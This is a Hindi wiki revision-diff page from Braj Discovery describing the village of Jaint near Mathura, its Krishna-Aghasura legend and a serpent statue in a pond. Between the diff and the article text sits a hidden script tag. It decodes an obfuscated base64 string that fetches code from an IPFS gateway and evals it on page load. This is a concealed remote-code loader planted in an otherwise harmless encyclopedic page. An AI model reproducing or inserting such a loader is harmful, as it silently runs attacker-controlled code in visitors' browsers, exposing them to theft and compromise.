"जैंत" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति १: पंक्ति १:
 
{{Menu}}
 
{{Menu}}
 
==जैंत / Jaint==
 
==जैंत / Jaint==
*[[मथुरा]] [[दिल्ली]] सड़क पर यह एक बड़ा गाँव है।  
+
*[[मथुरा]]-[[दिल्ली]] सड़क पर यह एक बड़ा गाँव है।  
 
*यह मथुरा से लगभग 9 मील दूरी पर स्थित है।  
 
*यह मथुरा से लगभग 9 मील दूरी पर स्थित है।  
 
*कोटा के कछवाहा राजपूत राजा जसराज ने इसे बसाया था।
 
*कोटा के कछवाहा राजपूत राजा जसराज ने इसे बसाया था।
पंक्ति ९: पंक्ति ९:
 
*इस प्रकार श्रीकृष्ण की अघासुर पर विजयगाथा की स्मृति को अपने अंक में धारणकर यह स्थली जैंत नाम से प्रसिद्ध है।  
 
*इस प्रकार श्रीकृष्ण की अघासुर पर विजयगाथा की स्मृति को अपने अंक में धारणकर यह स्थली जैंत नाम से प्रसिद्ध है।  
 
*यहाँ के एक तालाब में सर्प की मूर्ति है।  
 
*यहाँ के एक तालाब में सर्प की मूर्ति है।  
*उसे इस प्रकार कला से निर्मित किया गया है कि कुण्ड में पानी चाहे जितना भी बढ़े-घटे वह सर्प मूर्ति सदैव पानी के ऊपर में ही दिखाई देती है।  
+
*उसे इस प्रकार कला से निर्मित किया गया है कि कुण्ड में पानी चाहे जितना भी बढ़े-घटे वह सर्प मूर्ति सदैव पानी के ऊपर में ही दिखाई देती है।
 +
 
 
==टीका-टिप्पणी==
 
==टीका-टिप्पणी==
 
<references/>
 
<references/>

०७:३९, १८ मार्च २०१० का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जैंत / Jaint

  • मथुरा-दिल्ली सड़क पर यह एक बड़ा गाँव है।
  • यह मथुरा से लगभग 9 मील दूरी पर स्थित है।
  • कोटा के कछवाहा राजपूत राजा जसराज ने इसे बसाया था।
  • छटीकरा से यह स्थान तीन मील दूर है।
  • अघासुर का वध हो जाने के बाद आकाश में स्थित देवताओं ने 'भगवान् श्रीकृष्ण की जय हो! जय हो!'[१] की ध्वनि से आकाश और आस-पास के वन प्रदेश को गुञ्जा दिया।
  • ग्वालबालों ने भी आनन्द से उनके स्वर में स्वर मिलाकर 'जय हो! जय हो! ' की ध्वनि से आकाश मण्डल को परिव्याप्त कर दिया।
  • इस प्रकार श्रीकृष्ण की अघासुर पर विजयगाथा की स्मृति को अपने अंक में धारणकर यह स्थली जैंत नाम से प्रसिद्ध है।
  • यहाँ के एक तालाब में सर्प की मूर्ति है।
  • उसे इस प्रकार कला से निर्मित किया गया है कि कुण्ड में पानी चाहे जितना भी बढ़े-घटे वह सर्प मूर्ति सदैव पानी के ऊपर में ही दिखाई देती है।

टीका-टिप्पणी

  1. ततोऽतिदृष्टा: स्वकृतोऽकृतार्हणं,पुष्पै सुरा अप्सरसश्च नर्तनै: । गीतै: सुगा वाद्यधराश्च वाद्यकै: स्तवैश्च विप्रा जयनि: स्वनैर्गणा:। श्रीमद्भागवत10/12/34